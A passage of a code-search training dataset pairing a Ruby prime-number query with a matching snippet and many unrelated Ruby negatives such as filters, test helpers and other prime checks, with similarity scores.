] |
0.5456155
|
81
|
Discard any results that are not valid matches
|
def filter(array:)
return [] unless array.present? && array.is_a?(Array)
array.select do |hash|
# If the natural language processing score is <= 25 OR the
# weight is less than 1 (starts with or includes the search term)
hash.fetch(:score, 0) <= 25 || hash.fetch(:weight, 1) < 2
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def discard_results; end",
"def bad_results\n select {|r| !r.success }\n end",
"def remove_bad_ident_matches(matches)\n passed_matches = []\n matches.each do |m|\n next if (m[\"match_type\"] == \"content_body\" &&\n m[\"matched_content\"] == \"(?-mix:Drupal)\")\n\n next if (m[\"match_type\"] == \"content_cookies\" &&\n m[\"matched_content\"] == \"(?i-mx:ADRUM_BTa)\" &&\n m[\"product\"] == \"Jobvite\")\n\n passed_matches << m\n end\n passed_matches\n end",
"def test_match_sets_discard\n assert_not_equal(nil, @exp.expect(/null/))\n assert_not_equal('', @exp.discard)\n end",
"def abandon_results!()\n #This is a stub, used for indexing\n end",
"def stop_if_match; true; end",
"def term_non_matches\n @terms.reject { |t| self.class.match_against_term?(t) }\n end",
"def clean_results(parse_results, existing_article_titles)\n parse_results.uniq!\n cleaned_results = clean_results_of_partial_phrases(parse_results)\n cleaned_results = clean_results_of_redirects_to_detected_articles(cleaned_results)\n cleaned_results = clean_results_of_redirects_to_wikified_titles(cleaned_results, existing_article_titles)\n cleaned_results\n end",
"def exclude_results(results, options)\n exclude_oob = options.fetch(:excluding_out_of_bounds, false)\n exclude_occupied = options.fetch(:excluding_occupied_spaces, false)\n\n results = excluding_out_of_bounds(results) if exclude_oob\n results = excluding_occupied_spaces(results) if exclude_occupied\n results\n end",
"def prune_results(round_id)\n results = Round.find(round_id).results\n # Every Result must have at least 1 corr/skip/incorr\n rt = results.select{|t| t.num_correct+t.num_skipped+t.num_incorrect == 0}\n if rt.length > 0\n puts 'Destroying ' + rt.length.to_s + ' Result records without answers'\n rt.each{|t| t.destroy}\n end\n end",
"def test_results_filter(test_results)\n test_results.select do |tr|\n # Non TestResult items are never filtered.\n next true unless tr.kind_of?(Automation::TestDatabase::TestResult)\n entity_result(tr) != Automation::Result::Pass\n end\n end",
"def cleanup(results)\n results.map { |r| r.value.strip }.reject(&:empty?).uniq\n end",
"def cleanup(results)\n results.map { |r| r.value.strip }.reject(&:empty?).uniq\n end",
"def assert_not_resultsets_match(result_lines, expected_lines, filter_exp=nil, sort=false)\n if filter_exp\n expected_lines.delete_if {|line| !line.match(filter_exp) }\n result_lines.delete_if {|line| !line.match(filter_exp) }\n expected_lines.collect! {|line| line.chomp}\n if sort\n result_lines.sort!\n expected_lines.sort!\n end\n\n if (result_lines.length != expected_lines.length)\n return\n end\n\n expected_lines.each_index do |i|\n if(result_lines[i] != expected_lines[i])\n return\n end\n end\n end\n assert(false, \"Resultsets match, when they shouldn't\" + (@current_assert_file != nil ? \"Answer file: #{@current_assert_file}\" : \"\"))\n end",
"def unknown_yahoo_results(yahoo_results)\n resources = self.resources\n disease_resources = disease.resources\n\n @results = yahoo_results.inject([]) do |results,r|\n resource = disease_resources.detect do |t|\n (t.listing.address == r.address && t.listing.title == r.title && t.listing.city == r.city)\n end\n\n results ||= []\n if (resource.blank?) # Need this to include records found that are NOT in the database at all\n results << {:resource_id => 0, :data => r }\n elsif (!resource.blank? && !resources.detect { |t| resource.id == t.id })\n results << {:resource_id => resource.id, :data => r }\n end\n end\n end",
"def assert_not_queries_match(query1, query2, filter_exp=nil, sort=false, qrserver_id=0)\n result_xml1 = search(query1, qrserver_id).xmldata\n result_xml2 = search(query2, qrserver_id).xmldata\n assert_not_resultsets_match(result_xml1.split(\"\\n\"), result_xml2.split(\"\\n\"), filter_exp, sort)\n end",
"def assert_not_result_matches(query, expected_result_file, filter_exp=nil, sort=nil, qrserver_id=0)\n result_xml = search(query, qrserver_id).xmldata\n expected_lines = []\n File.open(expected_result_file) do |file|\n expected_lines = file.readlines\n end\n @current_assert_file = expected_result_file\n assert_not_resultsets_match(result_xml.split(\"\\n\", -1), expected_lines, filter_exp, sort)\n @current_assert_file = nil\n end",
"def remove_errant_matches_from(pot_ex_array)\n correct_match_arr = []\n pot_ex_array.each do |example|\n constituents = example.construct_constituents_array\n constituents.each do |const_array|\n if const_array[0] == self.word && const_array[1] == self.hiragana && const_array[3] == self.reading # For this to work, the constituents have to be normalized to dictionary_forms.\n correct_match_arr << example\n end\n end\n end\n return correct_match_arr\n end",
"def clean_results_of_partial_phrases(results)\n cleaned_results = []\n results.each do |current_result|\n current_result_phrase = current_result[0]\n\n cleaned_results << current_result unless results.any? do |other_result|\n other_result_phrase = other_result[0]\n is_a_partial_string?(other_result_phrase, current_result_phrase)\n end\n end\n cleaned_results \n end",
"def invalid\n results = query 'select \"sp_ID\" as id',\n ', \"sp_Kanton\" as kanton',\n ', \"sp_Name\" as name',\n ', \"sp_Ort\" as ort',\n ', \"sp_Aktiv\" as aktiv',\n ', count (\"vt_sp_ID\") as vertraege',\n 'from KOGU.\"StammSpital\"',\n 'inner join KOGU.\"VertragMandantMitSpital\" on \"vt_sp_ID\" = \"sp_ID\" and \"vt_cd_LeMdFaktura\" = 1',\n 'where (\"sp_cd_LeXmlZertifiziert\" != 1 or \"sp_Aktiv\" > 50)',\n 'group by \"sp_ID\",\"sp_Kanton\", \"sp_Name\", \"sp_Ort\", \"sp_Aktiv\", \"sp_cd_LeXmlZertifiziert\"',\n 'order by \"sp_Kanton\", \"sp_Name\"'\n\n results.map { |data| self.new(data) }\n end",
"def filter_matched_items(items)\n []\n end",
"def checkedout_matches\n\t\t@@logger.info { \"Retrieving checkedout and undecided matches.\" } if have_logger?\n\t\tMatch.dataset.filter(:tournament_id => self.id).filter(:result => nil).filter(:checked_out => true).all\n\tend",
"def great_matches\n filtered_matches(partial_or_perfect: [:family_name, :first_name], perfect: [:street, :city])\n end",
"def prune_result_orphans(rounds_to_ignore)\n rd = select{|d| d.results.count == 0} - rounds_to_ignore\n\n unless rd.empty?\n puts 'Destroying ' + rd.length.to_s + ' Round records without Results'\n rd.each{|d| d.destroy}\n end\n end",
"def unanswered_questions; questions_not_matching_query(answered_questions_query); end",
"def prune_ignored!\n ignored = []\n\n results.each do |result|\n if Config.ignore?(result.name) && !prompt(\"#{result.name} is ignored. Process anyway\")\n warn(\"skipping #{result.name}...\")\n ignored << result\n end\n end\n\n ignored.each { |i| results.delete(i) }\n end",
"def test_reject\n assert_equal(%w[1 2 4 7 8 11 13 14],\n @kbb.reject { |res| res.include?('Bar') || res.include?('Baz') })\n end",
"def test_reject\n assert_equal(%w[1 2 4 7 8 11 13 14],\n @ab.reject { |res| res.include?('Assign') || res.include?('Buzz') })\n end",
"def full_pairs\n match_items.reject do |pair|\n pair[0].nil? || pair[1].nil?\n end\n end",
"def clean_result_rows\n raise \"Missing data\" if result_rows.empty?\n result_rows.map do |result|\n next if is_header_row?(result) || is_bye_week?(result)\n result\n end.compact\n end",
"def discard_result token\n interpret_result token\n end",
"def available_matches\n\t\t@@logger.info { \"Retrieving not checkedout and undecided matches.\" } if have_logger?\n\t\tMatch.dataset.filter(:tournament_id => self.id).filter(:result => nil).filter(:checked_out => false).filter(:planned => false).all\n\tend",
"def test_no_raise\n\n r = Ruote.filter(\n [ { 'field' => 'x', 't' => 'hash', 'has' => 'a' } ],\n { 'x' => %w[ a b c ] },\n :no_raise => true)\n\n assert_equal(\n [ [ { \"has\" => \"a\", \"field\" => \"x\", \"t\" => \"hash\"}, \"x\", [ \"a\", \"b\", \"c\" ] ] ],\n r)\n end",
"def find_not_all(conditions={}, &block)\n all.reject { |item| match_all(item, conditions, &block) }\n end",
"def not\n Anagram::Matching::NotMatcher.new(self)\n end",
"def potential_matches\n @potential_matches ||= super.select do |license|\n if license.creative_commons? && file.potential_false_positive?\n false\n else\n license.wordset\n end\n end\n end",
"def validate(entries)\n logger.verbose(\"Validating #{entries.size} possible cache matches.\")\n valid_entries = entries.group_by(&:validate)\n @token_cache.remove(valid_entries[false] || [])\n valid_entries[true] || []\n end",
"def reduce_no_match_string(_production, _range, _tokens, theChildren)\n NoMatchTest.new(theChildren.last)\n end",
"def save_unmatched_words # :nodoc:\n tokens = phrase_without_matches.split(' ')\n unmatched_db = Corpus.new(\"unmatched-#{program_name}.db\")\n tokens.each do |token|\n if !complex_token_matches?(token) # token was not transformed earlier\n @to_match << token\n unmatched_db[token] = @processor.original_text\n end\n end\n unmatched_db.close\n end",
"def filter_out_unwanted_names(output, names)\n names.each do |match|\n output.keys.each do |uuid|\n output[uuid].keys.each do |name|\n unless name_matches?(name, match)\n output[uuid].delete name\n end\n end\n end\n end\n end",
"def matches_without_odds\n @matches = Match.includes(:odds).where(odds: { match_id: nil }).where.not(match_referencer: nil)\n render json: { matches: @matches }, status: :ok\n end",
"def test_truthy_finds(tests, method, options = {})\n tests.each do |test|\n matches = Ramparts.send(method, test[:text], options)\n test[:matches].each_with_index do |match_string, index|\n if matches[index].nil? || matches[index][:value].casecmp(match_string) != 0\n got_result = matches[index].nil? ? 'NIL' : matches[index][:value]\n raise \"Expected: #{match_string}\\nGot: #{got_result}\\nBlock '#{test[:text]}'\\nResult: #{matches}\"\n end\n end\n end\nend",
"def expect_no_output(output)\n if output.respond_to?(:~)\n @review.wont_match(output)\n else\n @review.wont_include(output)\n end\n end",
"def filter_orig_by_output(orig:, output:)\n records_to_reject = output.\n map{|a| a[:name]}\n .select do |a|\n # matching_o = output.select do |b|\n # a == b[:name]\n # end\n\n # if matching_o.count > 1\n # flunk(\"something wrong, output_row contains the same record more than once\")\n # else\n # matching_o = matching_o.first\n # end\n\n # reject_this_one = matching_o[:req_id].present? &&\n # matching_o[:ritm_id].present? &&\n # matching_o[:task_id].present?\n end\n\n flunk(\"not implemented yet\")\n orig.reject{|b| records_to_reject.include? b[:short_description]}\n end",
"def wont_match(exp, msg=nil)\n MatchAssay.refute!(self, exp, :message=>msg, :backtrace=>caller)\n end",
"def isobib_results_filter(result, refid)\n missed_years = []\n result.each do |r|\n /\\((?:\\d{2}\\/)?(?<pyear>\\d{4})\\)/ =~ r.hit[:code]\n if !refid.year || refid.year == pyear\n ret = r.fetch\n return { ret: ret } if ret\n end\n\n missed_years << pyear\n end\n { years: missed_years }\n end",
"def remove_match_statements(name, action, seqno, cmds)\n raise ArgumentError, 'cmds must be an Array' unless cmds.is_a?(Array)\n\n entries = parse_entries(name)\n return nil unless entries\n entries.each do |entry|\n next unless entry[0] == action && entry[1].assoc(seqno) && \\\n entry[1].assoc(seqno)[0] == seqno\n Array(entry[1].assoc(seqno)[1][:match]).each do |options|\n cmds << \"no match #{options}\"\n end\n end\n end",
"def test_no_raise_empty_result\n\n r = Ruote.filter(\n [ { 'field' => 'x', 't' => 'array', 'has' => 'a' } ],\n { 'x' => %w[ a b c ] },\n :no_raise => true)\n\n assert_equal(\n { 'x' => %w[ a b c ] },\n r)\n end",
"def unprocessed_results\n unprocessed_results = []\n self.design_review_results.each do |drr|\n unprocessed_results << drr unless drr.complete?\n end\n unprocessed_results.sort_by { |result| result.reviewer.last_name }\n end",
"def filter!; end",
"def should_be_excluded(potential_matches, exclude_paths)\n potential_matches.each do |potential_match|\n if exclude_paths.any? { |pattern| potential_match.match(/#{pattern}/i) }\n return true\n end\n end\n false\nend",
"def aggressive\n\t# make a matches array. this returns the equivalent of the matches[] block above\n\tm=[]\n\n\n\t# return the matches array, even if it's emtpy\n\tm\nend",
"def part2(clues, aunts)\n result = Array.new aunts\n clues.each do |clue|\n #filter aunts that do not match the key:value in clue\n key = clue.keys.first\n result.reject! do |a|\n a.has_key? key and retroencabulation(key, clue[key], a[key])\n end\n\n #puts \"Using #{key} as the filter, there are now #{aunts.length} remaining possibilities\"\n end\n result[0]\nend",
"def find\n @veggies = params[:veggies].split(',')\n\n\n @fruits = [ ]\n @veggies.each do |veggie|\n @fruits += Fruit.where(\"companions like ?\", \"%#{veggie}%\")\n end\n\n @fruits.uniq!\n\n render json: @fruits\n # ***WHAT IF THERE ARE NO MATCHES?****\n\n\n end",
"def find\n @fruits = params[:fruits].split(',')\n @veggies = params[:veggies].split(',')\n\n\n @herbs = [ ]\n @fruits.each do |fruit|\n @herbs += Herb.where(\"companions like ?\", \"%#{fruit}%\")\n end\n\n @veggies.each do |veggie|\n @herbs += Herb.where(\"companions like ?\", \"%#{veggie}%\")\n end\n\n\n @herbs.uniq!\n\n render json: @herbs\n\n # ***WHAT IF THERE ARE NO MATCHES?\n\n end",
"def validate_matches\n return success unless (@matched_ids.present? || @unmatched_ids.present?)\n\n # common ids in matches_ids and unmatched_ids\n r = validate_matched_unmatched_records\n return r unless r.success?\n\n success\n\n end",
"def remove_bad_user_records(records)\n \n records.each do |rec|\n malformed_found = false\n if (VALID_EMAIL_REGEX.match(rec.fields[\"email\"]).nil?)\n\trec.is_malformed = true\n\trec.add_malformed_message(\"ERROR: INVALID EMAIL\")\n\t@bad_user_records << rec\n\tmalformed_found = true\n end\n \n if (rec.fields[\"name\"].nil?)\n\trec.is_malformed = true\n\trec.add_malformed_message(\"ERROR: INVALID NAME\")\n\tif (!malformed_found)\n\t @bad_user_records << rec\n\t malformed_found = true\n\tend\n end\n \n if (rec.fields[\"businessname\"].nil?)\n\trec.is_malformed = true\n\trec.add_malformed_message(\"ERROR: INVALID BUSINESS NAME\")\n\tif (!malformed_found)\n\t @bad_user_records << rec\n\tend\n end\n \n if (!rec.is_malformed)\n\t@good_user_records << rec\n\tmalformed_found = true\n end\n end\n end",
"def fill_in_missing_results\n Result.all.group_by(&:race).each do |race, results|\n all_results = results.collect(&:place)\n # important to get last place in last\n results.sort! { |a,b| a.place.to_i <=> b.place.to_i }\n (1..results.last.place.to_i).reverse_each { |res|\n unless all_results.include?(res.to_s)\n # we need a result, there is a gap here\n race.results.create!(:place => res)\n end \n }\n end\n end",
"def discard_search_results(search_id:)\n {\n method: \"DOM.discardSearchResults\",\n params: { searchId: search_id }.compact\n }\n end",
"def clear_results\n @derived_values = []\n end",
"def import_unmatched\n search_and_match_in_cache do |hit, matches|\n confirm_cache_hit(hit, method: :index) if matches.blank?\n end\n friend_client.refresh()\n redirect_to friends_url\n end",
"def free!\n return false if matches.empty?\n match_preference_indexes = matches.map { | match | preferences.index match }\n max = match_preference_indexes.max # The index of the match with the lowest preference\n candidate_to_reject = preferences[ max ]\n\n # Delete from both sides\n candidate_to_reject.matches.delete self\n self.matches.delete candidate_to_reject\n end",
"def sanitize_result(result)\n result = result.downcase\n\n # many times, featured results, or additional producers are appended\n # to the result like so: (featuring beep and boop...)\n result = result.gsub(/[\\(\\)\\[\\]]/, \"\")\n\n # remove all [.'!&+] and replace them with \"\"\n result = result.gsub(/[.'!&+]/, \"\")\n\n # remove all - or _ and replace them with \" \"\n result = result.gsub(/[-_]/, \" \")\n\n # remove all blacklisted articles\n result = result.gsub(/\\b(#{BLACKLIST})\\b/, \"\")\n\n # replace multiple spaces with a single space\n result = result.gsub(/\\s+/, \" \").strip\n end",
"def remove_invalid_codes(guess)\n @valid_codes.filter! { |code| code.check_code(guess) == [@black_pegs, @white_pegs] }\n puts \"#{@valid_codes.count} possible codes left\"\n end",
"def unmatched\n @_merb_unmatched\n end",
"def scrub_plan(results)\n precedence = [:unavailable, :replace, :interrupt, :unavailable, :unknown]\n until precedence.empty?\n key = precedence.shift\n results[key].keys.each do |k|\n precedence.each do |p_key|\n results[p_key].delete(k)\n end\n end\n end\n nil\n end",
"def check_for_matches(guess, key)\n check_for_direct_matches(guess, key)\n delete_matches(@@direct_matches, guess)\n delete_matches(@@direct_matches, key)\n check_for_color_matches(guess, key)\n end",
"def instances_from_matches\n return single_class_results if one_class\n \n groups = results[:matches].group_by { |match|\n match[:attributes][\"class_crc\"]\n }\n groups.each do |crc, group|\n group.replace(\n instances_from_class(class_from_crc(crc), group)\n )\n end\n \n results[:matches].collect do |match|\n groups.detect { |crc, group|\n crc == match[:attributes][\"class_crc\"]\n }[1].compact.detect { |obj|\n obj.primary_key_for_sphinx == match[:attributes][\"sphinx_internal_id\"]\n }\n end\n end",
"def find_none(conditions={}, &block)\n all.select { |item| match_none(item, conditions, &block) }\n end",
"def assert_log_every_input_no_match(re)\n message = \"\"\n each_input do |input_id, input_log|\n if input_log =~ re\n message += \"Input #{input_id} matched #{re.inspect}.\\n\"\n end\n end\n assert(message.empty?, message)\n end",
"def matches\n parse\n end",
"def remove_bad_business_records(records)\n records.each do |rec|\n malformed_found = false\n if (rec.fields[\"name\"].nil?)\n\trec.is_malformed = true\n\trec.add_malformed_message(\"ERROR: INVALID NAME\")\n\t@bad_business_records << rec\n\tmalformed_found = true\n end\n \n if (!rec.fields[\"email\"].nil? && VALID_EMAIL_REGEX.match(rec.fields[\"email\"]).nil?)\n\trec.is_malformed = true\n\trec.add_malformed_message(\"ERROR: INVALID EMAIL\")\n\tif (!malformed_found)\n\t @bad_business_records << rec\n\t malformed_found = true\n\tend\n end\n \n if (!rec.is_malformed)\n\t@good_business_records << rec\n end\n end\n end",
"def assertNotMatchTest pattern, value\n assertNotMatch pattern, value\n end",
"def reset\n @conditions.reset\n @results = []\n end",
"def fill_in_missing_results\n Result.all.group_by(&:race).each do |race, results|\n all_results=results.collect(&:place) #get an array of just places for this race \n results.sort!{|a,b| a.place.to_i <=> b.place.to_i} #important to get last place in last\n need_results=[]\n (1..results.last.place.to_i).reverse_each {|res|\n unless all_results.include?(res.to_s)\n #we need a result, there is a gap here\n race.results.create!(:place => res)\n end \n }\n end\n end",
"def cleanup_nokogiri_values(results)\n results.map { |a| a.value.strip }.reject { |s| s.empty? }.uniq\n end",
"def cleanup_nokogiri_values(results)\n results.map { |a| a.value.strip }.reject { |s| s.empty? }.uniq\n end",
"def matches\n @matches ||= []\n end",
"def no_diffs\n mutations.select { |mutation| mutation.source.eql?(example.source) }\n end",
"def matches\n process_events! unless @matches\n @matches\n end",
"def extract_matched_items(items)\n []\n end",
"def run_matchers # :nodoc:\n matches = Matchers.run(phrase_without_matches)\n matches.each do |match|\n text, category = match\n if text\n @matches[category] << text\n end\n end\n end",
"def filter; end",
"def filter; end",
"def filter; end",
"def no_match() \n if $match_index_arr == []\n $turns = $turns - 1\n $index = $index + 1\n end\n end",
"def exclude\n if @exclude.nil? or Regexp === @exclude then\n # done, #finish is being re-run\n @exclude\n elsif @exclude.empty? then\n nil\n else\n Regexp.new(@exclude.join(\"|\"))\n end\n end",
"def build_results\n # Which files can we ignore?\n @files_to_ignore = Set.new\n @diffs.each do |diff|\n next unless diff.change? && diff.type == 'File' && diff.structure == %w(parameters ensure)\n next unless ['absent', 'false', false].include?(diff.new_value)\n @files_to_ignore.add diff.title\n end\n\n # Based on that, which diffs can we ignore?\n @results = Set.new @diffs.reject { |diff| keep_diff?(diff) }\n end",
"def remove_invalid_phones\n indexers = Indexer.where(archive: false)\n num = 0\n indexers.each do |indexer|\n phones = indexer.phones\n if phones.any?\n num += 1\n invalid = Regexp.new(\"[0-9]{5,}\")\n valid_phones = phones.reject { |x| invalid.match(x) }\n\n reg = Regexp.new(\"[(]?[0-9]{3}[ ]?[)-.]?[ ]?[0-9]{3}[ ]?[-. ][ ]?[0-9]{4}\")\n result = valid_phones.select { |x| reg.match(x) }\n\n indexer.update_attribute(:phones, result)\n end\n end\n end",
"def results_not_financed(encounter)\n feedback_message = FeedbackMessages::Finder.patient_result_not_financed(encounter.institution)\n encounter.patient_results.each do |patient_result|\n update_status_and_log(patient_result, 'rejected')\n patient_result.update_attribute(:feedback_message_id, feedback_message.id)\n end\n end",
"def by_tags(**filter)\n filter = filter.to_a\n reject { |error| (filter - error.to_h.to_a).any? }\n end",
"def matched?\n !failed?\n end",
"def filter_candidates(sentence_terms)\n sentence_terms.select{|t| (t.pos == \"N\" || t.pos == \"R\") && !ids.include?(t.id)}\n end",
"def all\n match(nil)\n end",
"def not_matched\n @user = User.find_by(id:params[:id])\n if @user == current_user || @user.role == \"admin\"\n @not_matched_clubs = Club.left_joins(:club_matches)\n .where(:club_matches => {matched: 0})\n .left_joins(:users)\n .where(:club_matches => {user_id: params[:id]})\n .where(:users => {id: params[:id]})\n else\n flash[:notice] = \"Attempted access to restricted page. Redirecting...\"\n redirect_to @user\n end\n end",
"def filter!(filter)\n # {:scope => :transaction, :merchant => { :matcher => 'ATM WITHDRAWAL' }}\n # {:scope => :collection, :name => :credit_card_payments }\n @transactions.reject! do |t|\n t.send(filter[:field]).downcase == filter[:matcher].downcase\n end\n end",
"def match_query(query); end",
"def address_matches\n filtered_matches(ignore: [:first_name, :family_name], perfect: [:street, :city])\n end",
"def check_for_no_results(hash_of_results)\n if hash_of_results[JSON_NUMBER_OF_RESULTS] == 0\n puts 'No results, try again'\n go\n end\n end",
"def fetch_ror_matches(name:)\n return [] unless name.present?\n\n OrgSelection::SearchService.search_externally(search_term: name).select do |hash|\n # If the natural language processing score is <= 25 OR the\n # weight is less than 1 (starts with or includes the search term)\n hash.fetch(:score, 0) <= 25 && hash.fetch(:weight, 1) < 2\n end\n end",
"def validate()\n validation_errors = []\n @expected_results.each_pair do |key,expected_result|\n result_key = expected_result[\"population_ids\"].dup\n\n reported_result, errors = extract_results_by_ids(expected_result['measure_id'], result_key)\n @reported_results[key] = reported_result\n validation_errors.concat match_calculation_results(expected_result,reported_result)\n end\n\n validation_errors\n end"
] |
[
"0.7056375",
"0.6887419",
"0.64285785",
"0.6253239",
"0.6132595",
"0.60482556",
"0.60134697",
"0.5984454",
"0.5968486",
"0.59532243",
"0.59215206",
"0.5915017",
"0.5915017",
"0.5892299",
"0.5818769",
"0.5793794",
"0.57728416",
"0.5759925",
"0.57533646",
"0.57144713",
"0.56981003",
"0.5655259",
"0.5652399",
"0.56003207",
"0.5571327",
"0.55549085",
"0.5553863",
"0.55282027",
"0.55245626",
"0.55059576",
"0.54645073",
"0.545381",
"0.54352254",
"0.53848946",
"0.53537816",
"0.5344505",
"0.5339711",
"0.53117204",
"0.530943",
"0.53084993",
"0.53055066",
"0.53051645",
"0.52942306",
"0.52790755",
"0.5278213",
"0.5229971",
"0.5228933",
"0.52248716",
"0.5218222",
"0.5212784",
"0.52104014",
"0.5206971",
"0.5195458",
"0.5172563",
"0.5171694",
"0.5170537",
"0.5169662",
"0.51691794",
"0.5167111",
"0.5160277",
"0.5155169",
"0.51519847",
"0.51481646",
"0.51371783",
"0.5130795",
"0.5129124",
"0.51270825",
"0.51246977",
"0.51231235",
"0.5117323",
"0.5114423",
"0.51017237",
"0.5101081",
"0.5096575",
"0.50960696",
"0.50887936",
"0.50887936",
"0.5088363",
"0.50876254",
"0.50844353",
"0.50820255",
"0.5079324",
"0.5074745",
"0.5074745",
"0.5074745",
"0.50743484",
"0.5055984",
"0.5036508",
"0.5030434",
"0.50237817",
"0.50211644",
"0.50149614",
"0.50128376",
"0.500426",
"0.50019187",
"0.50016886",
"0.49995914",
"0.49972138",
"0.49940997",
"0.49915785",
"0.49876115"
] |
0.0
|
-1
|
take num iterate from 2 to num if num % i except itself == 0 (num not prime)
|
def prime?(arg)
return false if arg <= 1
return true if arg == 2
result = true
(3..arg).to_a.each_with_index{|num, idx|result = false if arg % (idx+1) == 0 && (idx+1) != 1}
result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def anti_prime?(num)\n counter = count_divisors(num)\n counters = []\n \n (1...num).each do |i|\n if i.even? #unnecessary to add .even\n counters << count_divisors(i)\n end\n end\n counters.each do |c| \n if c > counter\n return false\n end\n end\n true\nend",
"def prime?(num)\n return false if num <= 1\n for i in 2..num/2\n if num % i == 0\n return false\n end\n end\n true\nend",
"def prime?(num)\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n\n true\nend",
"def prime?(num)\n if num < 3\n num.even? ? true : false\n else\n for i in 2...num\n return false if num % i == 0\n end\n true\n end\nend",
"def prime?(num)\n if num < 2\n return false\n elsif num == 2\n return true\n end\n\n (2...num).each do |n|\n if num % n == 0\n return false\n end\n end\n true\nend",
"def prime?(num)\n return false if num < 2\n\n i = 2\n while i <= num / i\n return false if num % i == 0\n i += 1\n end\n\n true\nend",
"def prime?(num) \n return false if !num.integer? #integer is # that is not a fraction\n return false if num < 2\n return true if num == 2\n (2..num-1).each {|int| return false if num % int == 0}\n true\nend",
"def anti_prime?(num) #24 => 1,2,3,4,6,8,12,24 => 8 #22 => 1,2,11,22 = > 4\n (1.upto(num-1)).none? { |n| factor_count(n) >= factor_count(num) }\nend",
"def prime?(num)\n return false if num < 2\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n true\nend",
"def prime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |el|\n if num % el == 0\n return false\n end\n end\n true\nend",
"def anti_prime?(num)\n max = 0\n sum_i_array = []\n (1..num).each do |n|\n sum_i = 0\n (1..n).each { |i| sum_i += 1 if n % i == 0 }\n sum_i_array << sum_i\n end\n sum_i_array[-1] == sum_i_array.max\nend",
"def odd_not_prime(num)\n # code here\n (1..num).step(2).to_a.select { |i| !is_prime?(i) }.count\n\nend",
"def prime?(num)\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n return true\nend",
"def prime?(num)\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n return true\nend",
"def prime?(num)\n return false if num <= 1 \n (1..num-1).each {|n| return false if (((n**num)-num)%num == 0) }\n true\nend",
"def prime?(num)\n return false if num < 2\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n\n return true\nend",
"def prime?(num)\n # byebug\n return false if num < 2\n\n (2...(num)).each do |factor|\n if num % factor == 0\n return false\n end\n end\n true\nend",
"def prime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |factor|\n if num % factor == 0\n return false\n end\n end\n\n return true\nend",
"def prime?(num)\n return false if num < 2\n 2.upto(num - 1) do |i|\n return false if num % i == 0\n end\n true\nend",
"def prime?(num)\n return false if num < 2\n (2..num - 1).each { |div| return false if num % div == 0 }\n true\nend",
"def anti_prime?(num)\n divisor_count = num_factors(num)\n\n (1...num).each do |n|\n return false if num_factors(n) > divisor_count\n end\n return true\nend",
"def not_prime?(num)\n 2.upto(num - 1) do |number|\n return true if num % number == 0\n end\n false\nend",
"def isPrime(num)\n (2..(num / 2)).each { |i|\n if (num % i == 0)\n return false\n end\n }\n true\nend",
"def anti_prime?(number)\n divisor_count = divisors(number)\n (2..number).each do |num| \n return false if divisors(num) > divisor_count \n end \n true\nend",
"def prime?(num)\n if num < 2\n return false\n end\n\n (2...num).each do |divisor| \n if num % divisor == 0\n return false\n end\n end\n\n return true\nend",
"def prime?(num)\n return false if num <= 1\n for i in (2..num - 1)\n return false if num.to_f % i == 0\n end\n true\nend",
"def prime_factor(num)\n\t\n\t(1..num).select {|n| (num % n).zero?}\n\t#zero? will return true when num has zero\nend",
"def prime?(num)\n i = 2\n if num == 1\n return false\n end\n while i < num**0.5\n if num % i == 0\n return false\n end\n i += 1\n end\n return true\nend",
"def prime?(num)\n return false if num < 2\n (2...num).each {|fac| return false if num % fac == 0}\n true\nend",
"def anti_prime?(num)\n num_divisors = divisors(num).length\n\n (1..num).each do |div|\n return false if divisors(div).length > num_divisors\n end\n \n return true\nend",
"def anti_prime?(num)\n (1...num).none? { |before| factors(before).length > factors(num).length}\nend",
"def bi_prime?(num)\n (2...num).each do |i|\n if num % i == 0 && !((2...i).any? { |x| i % x == 0 })\n j = num / i\n return true if !((2...j).any? { |x| j % x == 0 })\n end\n end\n\n false\nend",
"def prime?(num)\n if num == 2\n true\n elsif num > 1 && num % num == 0 && num % 1 == 0 && !(2 .. (num - 1)).to_a.any?{|number| num % number == 0}\n true\n else\n false\n end\nend",
"def prime?(num)\n return true if num == 2\n (2...num).each { |x| return false if num % x == 0 }\n true\nend",
"def prime_numbers\n i = 2\n # p 2\n while (i < 101)\n # j = i\n if i.even? \n i == 2 ? (p i) : (print \"\")\n elsif (2..i/2).none?{ |x| i % x == 0}\n p i\n end\n i += 1\n end \nend",
"def prime?(num)\n return false if num < 2\n\n (2...num).none? { |i| num % i == 0 }\nend",
"def factor_primes(num)\n\n return \"Not a valid number\" if num < 2\n\n for divisor in 2..(num - 1)\n while num % divisor == 0 \n (divisor * divisor > num) ? (return num) : (num /= divisor)\n # puts \"The divisor is #{divisor}\"\n # puts \"The new num is #{num}\"\n end\n end\n puts \"only divisible by 1 and itself\"\nend",
"def prime?(num)\n return false if num < 2\n (2...num).none? { |i| num % i == 0 }\nend",
"def prime?(num)\r\n if num <= 1 || num == 0 || num == 1\r\n return false\r\n elsif \r\n (2..num - 1).each do |i| \r\n if num % i == 0 \r\n return false \r\n end \r\n end \r\n end \r\n true \r\n end",
"def prime_numbers(num)\n all_factors = factors(num)\n only_prime = []\n i = 0\n while i < all_factors.length\n if prime?(all_factors[i])\n only_prime += all_factors[i]\n end\n i += 1\n end\n only_prime\n end",
"def is_prime?(num)\n for i in (2...num/2)\n if num % i == 0\n return false\n end\n end\n return true\nend",
"def prime?(num)\n if num<2\n return false\n end\n (2..num/2).each do |n|\n if num%n==0\n return false\n end\n end\n return true\nend",
"def prime?(num) \n return false if num < 2\n (2...num).none? { |factor| num % factor == 0}\nend",
"def prime?(num)\n return false if num <= 1\n (2...num).none? { |i| num % i == 0 }\nend",
"def is_ugly(num)\n\n prime_check = [2,3,5]\n ugly = false\n\n if num == 1\n ugly = true\n else\n for ugly_prime in prime_check\n while num % ugly_prime == 0\n num /= ugly_prime\n if num == 1\n ugly = true\n break\n end\n end\n end\n end\n puts ugly\nend",
